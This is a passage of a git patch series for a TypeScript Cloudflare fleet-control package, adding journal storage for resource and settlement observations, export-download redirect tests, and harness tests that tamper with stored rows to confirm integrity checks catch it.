'2', '3', '1', '2', '3']); + expect( + observations + .filter((x) => x.path.endsWith('/r2/buckets')) + .map((x) => x.jurisdiction ?? 'default'), + ).toEqual(['default', 'eu', 'fedramp', 'default', 'eu', 'fedramp']); + expect((await call({ kind: 'control-read' }, 'release-pin')).status).toBe( + 200, + ); + const released = await call({ + kind: 'inventory-read', + slot: 'inventory-before', + }); + expect(released.status).toBeGreaterThanOrEqual(400); + expect( + (await call({ kind: 'inventory-read', slot: 'inventory-after' })).status, + ).toBe(200); + const pruningReleased = await call({ kind: 'control-read' }, 'prune'); + expect(pruningReleased.status).toBe(200); + expect(await pruningReleased.json()).toMatchObject({ + ok: true, + result: { deleted: 1 }, + }); + const replayAfter = await call({ + kind: 'inventory-start', + slot: 'inventory-after', + }); + expect(replayAfter.status).toBe(200); + expect(await replayAfter.json()).toMatchObject({ + ok: true, + result: { status: 'complete', generation: { generation: after } }, + }); + expect(replayAfter.headers.get('X-Fixture-Calls')).toBe('[]'); + const replayPruned = await call({ + kind: 'inventory-start', + slot: 'inventory-before', + }); + expect(replayPruned.status).toBeGreaterThanOrEqual(400); + expect(replayPruned.headers.get('X-Fixture-Calls')).toBe('[]'); + const latestAfterRefusal = await call({ + kind: 'inventory-read', + slot: 'inventory-after', + }); + expect(await latestAfterRefusal.json()).toMatchObject({ + ok: true, + result: { generation: after }, + }); + }); +}); diff --git a/packages/fleet-control/test/fetch-receiver.harness.test.ts b/packages/fleet-control/test/fetch-receiver.harness.test.ts index f8fd4254..d309181e 100644 --- a/packages/fleet-control/test/fetch-receiver.harness.test.ts +++ b/packages/fleet-control/test/fetch-receiver.harness.test.ts @@ -23,16 +23,23 @@ import {PlainWorkerBackend} from ${source('../src/plain-worker-backend.ts')}; import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')}; import {PlainWorkerProvisioningApiFake} from ${source('./fixtures/plain-worker-provisioning-api-fake.ts')}; import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')}; +import {createHash} from 'node:crypto'; export default {async fetch(request){ const params=new URL(request.url).searchParams, kind=params.get('kind'), explicit=params.get('mode')==='explicit'; const native=globalThis.fetch; const spec={tenantTag:'acme',environment:'production',scriptName:'receiver-probe',databaseName:'receiver-probe',compatibilityDate:'2026-08-06',mainModule:'worker.js',modules:[{name:'worker.js',content:'export default {fetch(){}}'}],authoredBy:'platform',schemaVersion:1,migrations:[],durableObjectMigrations:[],durableObjectBindings:[],maintenanceBaseUrl:'https://control.example.test',routeHostname:'app.example.test'}; const digest=deploymentSpecDigest(spec); const version={versionId:'version-1',tag:digest,bindings:[{type:'d1',name:'DB',databaseId:'database-1'},...Object.entries({DEPLOYMENT_TENANT:spec.tenantTag,FLEET_ENVIRONMENT:spec.environment,FLEET_SCHEMA_VERSION:'1',FLEET_SPEC_DIGEST:digest,FLEET_INGRESS_CONTRACT:'guarded-object-v1'}).map(([name,value])=>({type:'plain-text',name,value}))]}; - const seen=[]; + const seen=[];let stored=false,canceled=false; const intercept=async function(input,init){ + const normalized=new Request(input,init); const proof=await Reflect.apply(native,this,['data:,']);await proof.text(); - seen.push({status:proof.status,receiver:this===undefined?'undefined':'other',method:init?.method??'GET'}); + seen.push({status:proof.status,receiver:this===undefined?'undefined':'other',method:init?.method??'GET',redirect:normalized.redirect,url:normalized.url}); + if(kind==='export'){ + if(normalized.url.startsWith('https://api.cloudflare.com/'))return Response.json({success:true,errors:[],result:{status:'complete',result:{signed_url:'https://download.example.test/export.sql'}}}); + if(normalized.url==='https://download.example.test/export.sql')return params.has('redirect')?new Response(new ReadableStream({cancel(){canceled=true;return new Promise(()=>{});}}),{status:302,headers:{location:'https://unvisited.example.test'}}):new Response('SELECT 1;'); + throw new Error('unexpected export download target'); + } return kind==='client'?Response.json({success:true,errors:[],result:{uuid:'database-1',name:'receiver-probe'}}):Response.json({nextSweepAt:2000,nextPurgeAt:3000,alarmAt:2000,lastSweepAt:1000,deploymentSpecDigest:digest}); }; try{ @@ -42,6 +49,12 @@ export default {async fetch(request){ return Response.json({ok:true,status:result.status,metrics:transport.snapshot()}); } globalThis.fetch=intercept; + if(kind==='export'){ + const exportStore={async write(input){stored=true;const text=await new Response(input.body).text();return {location:'r2://fixture/export.sql',size:new TextEncoder().encode(text).length,sha256:createHash('sha256').update(text).digest('hex')};}}; + const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',requestTimeoutMs:1000,rateCoordinator:{async acquire(){}},exportStore}); + const result=await client.withMutationFence({mutationLeaseTtlMs:900000,async assertOwned(){}},()=>client.exportDatabase('database-1')); + return Response.json({ok:true,result,stored,canceled,seen}); + } if(kind==='client'){ const client=new CloudflareProvisioningClient({plane:'plain-worker',accountId:'account',apiToken:'inert',requestTimeoutMs:1000,rateCoordinator:{async acquire(){}},...(explicit?{fetch:intercept}:{})}); const result=await client.getDatabase('database-1'); @@ -52,7 +65,7 @@ export default {async fetch(request){ const backend=new PlainWorkerBackend({api,identityCaller:'receiver-probe',maintenanceRequestTimeoutMs:1000,...(explicit?{fetch:intercept}:{})}); const result=kind==='ensure'?await backend.ensureMaintenance(spec,'x'.repeat(32),api.fence(),'version-1'):await backend.inspect(spec,'x'.repeat(32),'version-1'); return Response.json({ok:true,digest:kind==='ensure'?result.deploymentSpecDigest:result.maintenance.deploymentSpecDigest,seen}); - }catch(error){return Response.json({ok:false,error:String(error),seen});} + }catch(error){return Response.json({ok:false,error:String(error),stored,canceled,seen});} finally{globalThis.fetch=native;} }};`, ); @@ -93,6 +106,45 @@ export default {async fetch(request){ metrics: { providerAttempts: 0, maintenanceAttempts: 0 }, }); }); + + it('downloads an export with a native-compatible redirect policy', async () => { + const response = await server + .getWorker() + .fetch('https://fixture.test?kind=export'); + const result = (await response.json()) as { + ok: boolean; + stored: boolean; + result: { size: number }; + seen: { url: string; redirect: string }[]; + }; + expect(result.ok).toBe(true); + expect(result.stored).toBe(true); + expect(result.result.size).toBe(9); + expect( + result.seen.filter((value) => + value.url.startsWith('https://download.example.test/'), + ), + ).toEqual([expect.objectContaining({ redirect: 'manual' })]); + }); + + it('rejects an export redirect without storing data or awaiting cancellation', async () => { + const response = await server + .getWorker() + .fetch('https://fixture.test?kind=export&redirect=302'); + const result = (await response.json()) as { + ok: boolean; + stored: boolean; + canceled: boolean; + seen: { url: string }[]; + }; + expect(result.ok).toBe(false); + expect(result.stored).toBe(false); + expect(result.canceled).toBe(true); + expect(result.seen.map((value) => value.url)).toEqual([ + 'https://api.cloudflare.com/client/v4/accounts/account/d1/database/database-1/export', + 'https://download.example.test/export.sql', + ]); + }); it.each([ 'default', 'explicit', From 6c493cf9d61d3a038288731a7ec07a2e82a9274f Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 02:13:09 +0400 Subject: [PATCH 114/169] test(fleet-control): retain reference resource and settlement identities --- .../scripts/direct-reference-journal.ts | 146 ++++++++++++++++ .../scripts/direct-reference-observations.ts | 165 ++++++++++++++++++ .../scripts/tsconfig.direct-worker.json | 1 + .../direct-reference-journal.harness.test.ts | 164 +++++++++++++++++ .../direct-reference-worker.harness.test.ts | 76 ++++++++ 5 files changed, 552 insertions(+) create mode 100644 packages/fleet-control/scripts/direct-reference-observations.ts diff --git a/packages/fleet-control/scripts/direct-reference-journal.ts b/packages/fleet-control/scripts/direct-reference-journal.ts index 45c034b5..a76af7bc 100644 --- a/packages/fleet-control/scripts/direct-reference-journal.ts +++ b/packages/fleet-control/scripts/direct-reference-journal.ts @@ -50,6 +50,17 @@ export interface DirectStoredOperation extends DirectStartCandidate { readonly tokenRevision: number | null; } +export interface DirectStoredObservation { + readonly identityJson: string; + readonly provenanceJson: string; +} + +export interface DirectStoredResource extends DirectStoredObservation { + readonly identitySha256: string; +} + +type ObservationKind = 'resource' | 'settlement'; + const MAX_JSON_BYTES = 256 * 1024; const schema = [ `CREATE TABLE IF NOT EXISTS direct_reference_run ( @@ -74,6 +85,16 @@ const schema = [ CHECK ((token_json IS NULL AND token_sha256 IS NULL AND token_revision IS NULL) OR (token_json IS NOT NULL AND token_sha256 IS NOT NULL AND token_revision IS NOT NULL)) )`, + `CREATE TABLE IF NOT EXISTS direct_reference_observations ( + run_key TEXT NOT NULL REFERENCES direct_reference_run(run_key), + observation_kind TEXT NOT NULL, + observation_key TEXT NOT NULL, + identity_json TEXT NOT NULL, + identity_sha256 TEXT NOT NULL, + provenance_json TEXT NOT NULL, + provenance_sha256 TEXT NOT NULL, + PRIMARY KEY (run_key, observation_kind, observation_key) + )`, ]; function stateError(): never { @@ -85,6 +106,16 @@ function text(value: unknown): string { return value; } +function role(value: DirectFixtureRole): DirectFixtureRole { + if (value !== 'a' && value !== 'b' && value !== 'recovery') stateError(); + return value; +} + +function sha256(value: string): string { + if (typeof value !== 'string' || !/^[a-f0-9]{64}$/u.test(value)) stateError(); + return value; +} + function kindFor(slot: string): DirectOperationKind { if (slot === 'inventory-before' || slot === 'inventory-after') return 'inventory'; @@ -380,4 +411,119 @@ export class DirectReferenceJournal { readInterruption(): Promise { return this.#withState(() => this.#interruption()); } + + async #observation( + kind: ObservationKind, + key: string, + ): Promise { + const rows = await this.#database.query( + 'SELECT * FROM direct_reference_observations WHERE run_key=? AND observation_kind=? AND observation_key=?', + [this.#runKey, kind, key], + ); + if (rows.length > 1) stateError(); + const row = rows[0]; + if (!row) return undefined; + const context = ['observation', this.#runKey, kind, key]; + return Object.freeze({ + identityJson: storedJson(row.identity_json, row.identity_sha256, [ + ...context, + 'identity', + ]).text, + provenanceJson: storedJson(row.provenance_json, row.provenance_sha256, [ + ...context, + 'provenance', + ]).text, + }); + } + + async #recordObservation( + kind: ObservationKind, + key: string, + identityJson: string, + provenanceJson: string, + ): Promise { + const identity = jsonObject(identityJson); + const provenance = jsonObject(provenanceJson); + const context = ['observation', this.#runKey, kind, key]; + await this.#database.execute( + 'INSERT INTO direct_reference_observations (run_key,observation_kind,observation_key,identity_json,identity_sha256,provenance_json,provenance_sha256) VALUES (?,?,?,?,?,?,?) ON CONFLICT DO NOTHING', + [ + this.#runKey, + kind, + key, + identity.text, + boundHash([...context, 'identity'], identity.text), + provenance.text, + boundHash([...context, 'provenance'], provenance.text), + ], + ); + const stored = await this.#observation(kind, key); + if (!stored || stored.identityJson !== identity.text) stateError(); + return stored; + } + + recordResource( + fixtureRole: DirectFixtureRole, + identityJson: string, + provenanceJson: string, + ): Promise { + return this.#withState(async () => { + const identity = jsonObject(identityJson); + const identitySha256 = boundHash( + ['resource', this.#runKey, role(fixtureRole)], + identity.text, + ); + const stored = await this.#recordObservation( + 'resource', + `${fixtureRole}:${identitySha256}`, + identity.text, + provenanceJson, + ); + return Object.freeze({ ...stored, identitySha256 }); + }); + } + + readResource( + fixtureRole: DirectFixtureRole, + identitySha256: string, + ): Promise { + return this.#withState(async () => { + const stored = await this.#observation( + 'resource', + `${role(fixtureRole)}:${sha256(identitySha256)}`, + ); + if (!stored) return undefined; + if ( + boundHash( + ['resource', this.#runKey, fixtureRole], + stored.identityJson, + ) !== identitySha256 + ) + stateError(); + return Object.freeze({ ...stored, identitySha256 }); + }); + } + + recordSettlement( + settlementKey: string, + identityJson: string, + provenanceJson: string, + ): Promise { + return this.#withState(() => + this.#recordObservation( + 'settlement', + sha256(settlementKey), + identityJson, + provenanceJson, + ), + ); + } + + readSettlement( + settlementKey: string, + ): Promise { + return this.#withState(() => + this.#observation('settlement', sha256(settlementKey)), + ); + } } diff --git a/packages/fleet-control/scripts/direct-reference-observations.ts b/packages/fleet-control/scripts/direct-reference-observations.ts new file mode 100644 index 00000000..97791fd8 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-observations.ts @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { fleetSettlementKey } from '@proofoftech/fleet-control'; +import { + deploymentSpecDigest, + type FleetRecord, + type FleetSettlementHost, +} from '@proofoftech/fleet-control/cloudflare-control-plane'; +import type { DirectFixtureRelease } from './direct-credentialed-spec.js'; +import type { DirectReferenceContext } from './direct-reference-context.js'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import type { DirectStoredResource } from './direct-reference-journal.js'; + +type ResourceSource = 'provision-read' | 'migration-read' | 'before-force'; + +function compare(left: string, right: string): number { + return left < right ? -1 : left > right ? 1 : 0; +} + +export async function recordDirectResource( + context: DirectReferenceContext, + record: FleetRecord, + source: ResourceSource, +): Promise { + context.transport.assertWithinBudget(); + const role = context.roleFor(record); + context.specFor(record); + if ( + record.durableObjectBindings.some( + (binding) => binding.scriptName || binding.dispatchNamespace, + ) + ) + throw new DirectReferenceExecutionError(); + const admittedPhase = + record.cleanupIntent?.identity.admittedPhase ?? record.phase; + const databaseState = + admittedPhase === 'database-reserved' + ? 'reservation' + : admittedPhase === 'database-create-authorized' + ? 'create-outcome-unresolved' + : 'recorded'; + const identity = { + version: 1, + role, + backend: record.backend, + tenantTag: record.tenantTag, + environment: record.environment, + scriptName: record.scriptName, + database: { + name: record.databaseName, + id: record.databaseId.startsWith('reserved-') ? null : record.databaseId, + }, + knownVersionIds: [ + ...new Set([record.artifactVersion, record.pendingArtifactVersion]), + ] + .filter( + (value): value is string => value !== undefined && value !== 'pending', + ) + .sort(compare), + localNamespaces: record.durableObjectBindings + .map(({ name, className, namespaceId }) => ({ + name, + className, + namespaceId, + })) + .sort((left, right) => compare(left.name, right.name)), + applicationBuckets: (record.applicationResources ?? []) + .map( + ({ + name, + bucketName, + jurisdiction, + reservationNonce, + creationDate, + }) => ({ + name, + bucketName, + jurisdiction, + reservationNonce, + creationDate: creationDate ?? null, + }), + ) + .sort((left, right) => compare(left.name, right.name)), + }; + const stored = await context.journal.recordResource( + role, + JSON.stringify(identity), + JSON.stringify({ + source, + phase: record.phase, + schemaVersion: record.schemaVersion, + desiredSpecDigest: record.desiredSpecDigest, + pendingSpecDigest: record.pendingSpecDigest ?? null, + recordUpdatedAt: record.updatedAt, + databaseState, + applicationStates: (record.applicationResources ?? []) + .map(({ name, state }) => ({ name, state })) + .sort((left, right) => compare(left.name, right.name)), + }), + ); + context.transport.assertWithinBudget(); + return stored; +} + +export function directSettlementHost( + context: DirectReferenceContext, + record: FleetRecord, +): FleetSettlementHost { + const role = context.roleFor(record); + context.specFor(record); + const releases: readonly DirectFixtureRelease[] = + role === 'recovery' + ? ['initial', 'next', 'failed-recovery'] + : ['initial', 'next']; + const digests = new Set( + releases.map((release) => + deploymentSpecDigest(context.spec(role, release)), + ), + ); + return { + async settle(settlement) { + context.transport.assertWithinBudget(); + const { target, attestation, settlementKey } = settlement; + if ( + settlement.tenantTag !== record.tenantTag || + settlement.environment !== record.environment || + target.physicalScriptName !== record.scriptName || + !digests.has(target.specDigest) || + !target.artifactVersion || + target.artifactVersion === 'pending' || + attestation.physicalScriptName !== target.physicalScriptName || + attestation.specDigest !== target.specDigest || + attestation.artifactVersion !== target.artifactVersion || + settlementKey !== + fleetSettlementKey({ + tenantTag: record.tenantTag, + environment: record.environment, + specDigest: target.specDigest, + artifactVersion: target.artifactVersion, + }) + ) + throw new DirectReferenceExecutionError(); + await context.journal.recordSettlement( + settlementKey, + JSON.stringify({ + version: 1, + role, + tenantTag: record.tenantTag, + environment: record.environment, + target: { + physicalScriptName: target.physicalScriptName, + specDigest: target.specDigest, + artifactVersion: target.artifactVersion, + }, + }), + JSON.stringify({ + entry: settlement.entry, + alreadySettled: settlement.alreadySettled, + observedAt: attestation.observedAt, + }), + ); + context.transport.assertWithinBudget(); + }, + }; +} diff --git a/packages/fleet-control/scripts/tsconfig.direct-worker.json b/packages/fleet-control/scripts/tsconfig.direct-worker.json index ba0a637c..d29f6a59 100644 --- a/packages/fleet-control/scripts/tsconfig.direct-worker.json +++ b/packages/fleet-control/scripts/tsconfig.direct-worker.json @@ -12,6 +12,7 @@ "direct-reference-http.ts", "direct-reference-transport.ts", "direct-reference-context.ts", + "direct-reference-observations.ts", "direct-reference-worker.ts" ], "include": [] diff --git a/packages/fleet-control/test/direct-reference-journal.harness.test.ts b/packages/fleet-control/test/direct-reference-journal.harness.test.ts index 43b55b02..30084909 100644 --- a/packages/fleet-control/test/direct-reference-journal.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-journal.harness.test.ts @@ -81,6 +81,170 @@ describe.sequential('direct reference journal in native D1', { return { runKey, journal: new DirectReferenceJournal(db, runKey, binding) }; } + it('retains first resource provenance and distinct incarnations across reload', async () => { + const { runKey, journal } = fixture(); + const first = await journal.recordResource( + 'a', + '{"databaseId":"one"}', + '{"phase":"ready"}', + ); + const repeated = await journal.recordResource( + 'a', + first.identityJson, + '{"phase":"decommissioning"}', + ); + expect(repeated).toEqual(first); + const second = await journal.recordResource( + 'a', + '{"databaseId":"two"}', + '{}', + ); + expect(second.identitySha256).not.toBe(first.identitySha256); + const reloaded = new DirectReferenceJournal(db, runKey, binding); + expect(await reloaded.readResource('a', first.identitySha256)).toEqual( + first, + ); + expect(await reloaded.readResource('a', second.identitySha256)).toEqual( + second, + ); + expect( + await reloaded.readResource('b', first.identitySha256), + ).toBeUndefined(); + }); + + it('deduplicates concurrent settlement delivery while retaining first provenance', async () => { + const { runKey, journal } = fixture(); + const key = createHash('sha256').update(randomUUID()).digest('hex'); + const identity = '{"target":"v1"}'; + const deliveries = await Promise.all([ + journal.recordSettlement( + key, + identity, + '{"entry":"migration","alreadySettled":false}', + ), + journal.recordSettlement( + key, + identity, + '{"entry":"ready-convergence","alreadySettled":true}', + ), + ]); + expect(deliveries[0]).toEqual(deliveries[1]); + expect( + await new DirectReferenceJournal(db, runKey, binding).readSettlement(key), + ).toEqual(deliveries[0]); + const rows = await db + .prepare('SELECT * FROM direct_reference_observations WHERE run_key=?') + .bind(runKey) + .all(); + expect(rows.results).toHaveLength(1); + await expect( + journal.recordSettlement(key, '{"target":"v2"}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + expect(await journal.readSettlement(key)).toEqual(deliveries[0]); + }); + + it.each([ + 'identity', + 'provenance', + 'kind', + 'key', + 'run', + 'role', + ] as const)('detects observation corruption in %s', async (field) => { + const { runKey, journal } = fixture(); + const resource = await journal.recordResource( + 'a', + '{"databaseId":"one"}', + '{}', + ); + let reader = journal; + let read: () => Promise = () => + reader.readResource('a', resource.identitySha256); + if (field === 'identity' || field === 'provenance') { + const column = field === 'identity' ? 'identity_json' : 'provenance_json'; + await db + .prepare( + `UPDATE direct_reference_observations SET ${column}=? WHERE run_key=?`, + ) + .bind('{"tampered":true}', runKey) + .run(); + } else if (field === 'kind' || field === 'key') { + const key = 'a'.repeat(64); + await db + .prepare( + 'UPDATE direct_reference_observations SET observation_kind=?,observation_key=? WHERE run_key=?', + ) + .bind( + field === 'kind' ? 'settlement' : 'resource', + field === 'kind' ? key : `a:${key}`, + runKey, + ) + .run(); + read = () => + field === 'kind' + ? reader.readSettlement(key) + : reader.readResource('a', key); + } else if (field === 'role') { + await db + .prepare( + 'UPDATE direct_reference_observations SET observation_key=? WHERE run_key=?', + ) + .bind(`b:${resource.identitySha256}`, runKey) + .run(); + read = () => reader.readResource('b', resource.identitySha256); + } else { + const other = fixture(); + await other.journal.readInterruption(); + await db + .prepare( + 'UPDATE direct_reference_observations SET run_key=? WHERE run_key=?', + ) + .bind(other.runKey, runKey) + .run(); + reader = other.journal; + } + await expect(read()).rejects.toMatchObject({ code: 'journal-state' }); + }); + + it('does not acknowledge a suppressed observation insert', async () => { + const { runKey, journal } = fixture(); + await journal.readInterruption(); + const trigger = `ignore_observation_${runKey.replaceAll('-', '')}`; + await db.exec( + `CREATE TRIGGER ${trigger} BEFORE INSERT ON direct_reference_observations WHEN NEW.run_key='${runKey}' BEGIN SELECT RAISE(IGNORE); END`, + ); + try { + await expect( + journal.recordResource('a', '{}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + await expect( + journal.recordSettlement('b'.repeat(64), '{}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + } finally { + await db.exec(`DROP TRIGGER ${trigger}`); + } + }); + + it('validates observation identities and bounded JSON before storage', async () => { + const { journal } = fixture(); + await expect( + journal.recordResource('foreign' as 'a', '{}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + await expect(journal.recordResource('a', '[]', '{}')).rejects.toMatchObject( + { code: 'journal-state' }, + ); + await expect( + journal.recordSettlement('not-a-key', '{}', '{}'), + ).rejects.toMatchObject({ code: 'journal-state' }); + await expect( + journal.recordSettlement( + 'b'.repeat(64), + '{}', + JSON.stringify({ value: 'x'.repeat(256 * 1024) }), + ), + ).rejects.toMatchObject({ code: 'journal-state' }); + }); + it.each([ 'revoked', 'prototype-trap', diff --git a/packages/fleet-control/test/direct-reference-worker.harness.test.ts b/packages/fleet-control/test/direct-reference-worker.harness.test.ts index 551758fc..2b23bb4b 100644 --- a/packages/fleet-control/test/direct-reference-worker.harness.test.ts +++ b/packages/fleet-control/test/direct-reference-worker.harness.test.ts @@ -51,6 +51,8 @@ describe.sequential('real direct reference context and inventory', { import {createDirectReferenceWorker} from ${source('../scripts/direct-reference-worker.ts')}; import {createDirectReferenceContext} from ${source('../scripts/direct-reference-context.ts')}; import {DirectReferenceTransport} from ${source('../scripts/direct-reference-transport.ts')}; +import {recordDirectResource,directSettlementHost} from ${source('../scripts/direct-reference-observations.ts')}; +import {fleetSettlementKey} from ${source('../src/settlement.ts')}; import {deploymentSpecDigest} from ${source('../src/spec-digest.ts')}; const manifest=${JSON.stringify(manifest)}; const binding=${JSON.stringify(binding)}; @@ -92,6 +94,31 @@ export default {async fetch(request,env){ try{const worker=createDirectReferenceWorker({...manifest,referenceRuntime:{...manifest.referenceRuntime,invocationTimeoutMs:1000}},{fetch:provider});const response=await worker.fetch(request,current);return Response.json({status:response.status,observedFailure,body:await response.json(),providerCalls:calls.length});} finally{Object.defineProperty(performance,'now',{configurable:true,value:oldNow});DirectReferenceTransport.prototype.snapshot=oldSnapshot;} } + if(mode==='observations'){ + const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); + const spec=context.spec('a','initial'),digest=deploymentSpecDigest(spec); + const record={tenantTag:spec.tenantTag,environment:spec.environment,backend:'plain-worker',scriptName:spec.scriptName,databaseId:'resource-db-one',databaseName:spec.databaseName,schemaVersion:1,artifactVersion:'resource-version-one',desiredSpecDigest:digest,routeHostname:spec.routeHostname,phase:'ready',updatedAt:'2026-09-10T00:00:00Z',durableObjectBindings:[{name:'Runner',className:'Runner',namespaceId:'namespace-runner'},{name:'Maintenance',className:'Maintenance',namespaceId:'namespace-maintenance'}],applicationResources:[{name:'B',bucketName:'fixture-b',jurisdiction:'default',reservationNonce:'nonce-b',creationDate:'2026-09-10T00:00:00Z',state:'created'},{name:'A',bucketName:'fixture-a',jurisdiction:'eu',reservationNonce:'nonce-a',state:'reserved'}],applicationBindings:{vars:[{name:'PRIVATE_VALUE',value:secretMap.a.application.APP_PROBE_TOKEN}],secrets:[],r2Buckets:[]}}; + const resource=await recordDirectResource(context,record,'provision-read'); + const repeated=await recordDirectResource(context,{...record,phase:'decommissioning',updatedAt:'2026-09-11T00:00:00Z',durableObjectBindings:[...record.durableObjectBindings].reverse(),applicationResources:[...record.applicationResources].reverse().map(r=>({...r,state:'detached'}))},'migration-read'); + const second=await recordDirectResource(context,{...record,databaseId:'resource-db-two'},'provision-read'); + const reserved=await recordDirectResource(context,{...record,phase:'database-create-authorized',databaseId:'reserved-'+digest.slice(0,48),artifactVersion:'pending',durableObjectBindings:[],applicationResources:[]},'provision-read'); + const target={physicalScriptName:record.scriptName,specDigest:digest,artifactVersion:record.artifactVersion,releaseSchemaVersion:1,application:record.applicationBindings}; + const attestation={physicalScriptName:target.physicalScriptName,specDigest:digest,artifactVersion:target.artifactVersion,source:'workers-deployments',observedAt:'2026-09-10T00:00:00Z'}; + const key=fleetSettlementKey({...record,specDigest:digest}); + const settlement={tenantTag:record.tenantTag,environment:record.environment,target,attestation,settlementKey:key,entry:'migration',alreadySettled:true}; + const host=directSettlementHost(context,record); + await host.settle(settlement); + await host.settle({...settlement,entry:'rollback',alreadySettled:false,attestation:{...attestation,observedAt:'2026-09-11T00:00:00Z'}}); + const rejected=[]; + for(const change of [{tenantTag:'foreign'},{environment:'foreign'},{settlementKey:'f'.repeat(64)},{target:{...target,physicalScriptName:'foreign'}},{target:{...target,specDigest:'f'.repeat(64)}},{target:{...target,artifactVersion:'pending'}},{attestation:{...attestation,artifactVersion:'foreign'}}]){ + try{await host.settle({...settlement,...change});rejected.push(false);}catch{rejected.push(true);} + } + let writeFailure=false;const remember=context.journal.recordSettlement; + context.journal.recordSettlement=async()=>{throw new Error('injected native producer write failure');}; + try{await host.settle(settlement);}catch{writeFailure=true;}finally{context.journal.recordSettlement=remember;} + const reloaded=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); + return Response.json({resource,repeated,second,reserved,settlement:await reloaded.journal.readSettlement(key),reloadedResource:await reloaded.journal.readResource('a',resource.identitySha256),rejected,writeFailure,providerCalls:calls.length}); + } if(mode==='recipes'||mode==='release-pin'||mode==='prune'){ const context=await createDirectReferenceContext(manifest,current,{startedAt:performance.now(),signal:request.signal,fetch:provider}); if(mode==='recipes'){ @@ -188,6 +215,55 @@ export default {async fetch(request,env){ expect(response.headers.get('X-Fixture-Calls')).toBe('[]'); }); + it('retains resource and settlement identities through real context producers', async () => { + const response = await call({ kind: 'control-read' }, 'observations'); + expect(response.status).toBe(200); + const body = await response.text(); + const value = JSON.parse(body); + expect(value.repeated).toEqual(value.resource); + expect(value.reloadedResource).toEqual(value.resource); + expect(value.second.identitySha256).not.toBe(value.resource.identitySha256); + const identity = JSON.parse(value.resource.identityJson); + expect(identity.database).toEqual({ + name: manifest.names.roles.a.databaseName, + id: 'resource-db-one', + }); + expect(identity.knownVersionIds).toEqual(['resource-version-one']); + expect( + identity.localNamespaces.map((item: { name: string }) => item.name), + ).toEqual(['Maintenance', 'Runner']); + expect( + identity.applicationBuckets.map((item: { name: string }) => item.name), + ).toEqual(['A', 'B']); + expect(identity.applicationBuckets[0].creationDate).toBeNull(); + expect(JSON.parse(value.reserved.identityJson)).toMatchObject({ + database: { id: null }, + knownVersionIds: [], + }); + expect(JSON.parse(value.reserved.provenanceJson).databaseState).toBe( + 'create-outcome-unresolved', + ); + expect(JSON.parse(value.settlement.provenanceJson)).toEqual({ + entry: 'migration', + alreadySettled: true, + observedAt: '2026-09-10T00:00:00Z', + }); + expect(value.rejected).toEqual(Array(7).fill(true)); + expect(value.writeFailure).toBe(true); + expect(value.providerCalls).toBe(0); + for (const role of Object.values(secrets)) { + for (const secret of [ + role.deploymentIdentity, + role.maintenanceAdmin, + role.application.APP_PROBE_TOKEN, + ]) + expect(body).not.toContain(secret); + } + expect(JSON.parse(value.settlement.identityJson).target).not.toHaveProperty( + 'application', + ); + }); + it('refuses success after the final metrics observe deadline expiry', async () => { const response = await call({ kind: 'control-read' }, 'deadline'); expect(await response.json()).toMatchObject({ From 4f4da55c7c79eaac2386042999e89ddb2b3fbec8 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Thu, 10 Sep 2026 04:03:02 +0400 Subject: [PATCH 115/169] fix(fleet-control): encode Worker uploads for direct lifecycle --- .../fleet-control-multipart-worker-uploads.md | 5 + .../scripts/direct-reference-continuation.ts | 27 + .../scripts/direct-reference-journal.ts | 23 +- .../scripts/direct-reference-lifecycle.ts | 337 ++++++++++ .../scripts/direct-reference-observations.ts | 6 +- .../scripts/direct-reference-worker.ts | 31 +- .../scripts/tsconfig.direct-worker.json | 1 + .../fleet-control/src/cloudflare-client.ts | 137 ++-- .../cloudflare-ordinary-worker-operations.ts | 28 +- .../src/cloudflare-worker-upload.ts | 17 + .../test/cloudflare-client.test.ts | 235 ++++++- .../direct-reference-journal.harness.test.ts | 131 +++- ...direct-reference-lifecycle.harness.test.ts | 593 ++++++++++++++++++ .../test/fetch-receiver.harness.test.ts | 55 ++ .../test/fixtures/cloudflare-fetch-fixture.ts | 19 +- 15 files changed, 1506 insertions(+), 139 deletions(-) create mode 100644 .changeset/fleet-control-multipart-worker-uploads.md create mode 100644 packages/fleet-control/scripts/direct-reference-continuation.ts create mode 100644 packages/fleet-control/scripts/direct-reference-lifecycle.ts create mode 100644 packages/fleet-control/src/cloudflare-worker-upload.ts create mode 100644 packages/fleet-control/test/direct-reference-lifecycle.harness.test.ts diff --git a/.changeset/fleet-control-multipart-worker-uploads.md b/.changeset/fleet-control-multipart-worker-uploads.md new file mode 100644 index 00000000..49f3c240 --- /dev/null +++ b/.changeset/fleet-control-multipart-worker-uploads.md @@ -0,0 +1,5 @@ +--- +'@proofoftech/fleet-control': patch +--- + +Encode Worker upload metadata as JSON, name module parts by their declared paths, and let fetch set the multipart boundary for ordinary, control, dispatch and state Worker uploads. diff --git a/packages/fleet-control/scripts/direct-reference-continuation.ts b/packages/fleet-control/scripts/direct-reference-continuation.ts new file mode 100644 index 00000000..73aeb0fc --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-continuation.ts @@ -0,0 +1,27 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { DirectReferenceAction } from './direct-reference-contract.mjs'; +import { DirectReferenceExecutionError } from './direct-reference-http.js'; +import type { DirectStoredOperation } from './direct-reference-journal.js'; + +export function directContinuation( + stored: DirectStoredOperation, + action: DirectReferenceAction, +): unknown { + const token: unknown = Object.hasOwn(action, 'token') + ? Reflect.get(action, 'token') + : stored.tokenJson === null + ? undefined + : JSON.parse(stored.tokenJson); + if (token === undefined) + throw new DirectReferenceExecutionError('missing-continuation'); + if ( + !token || + typeof token !== 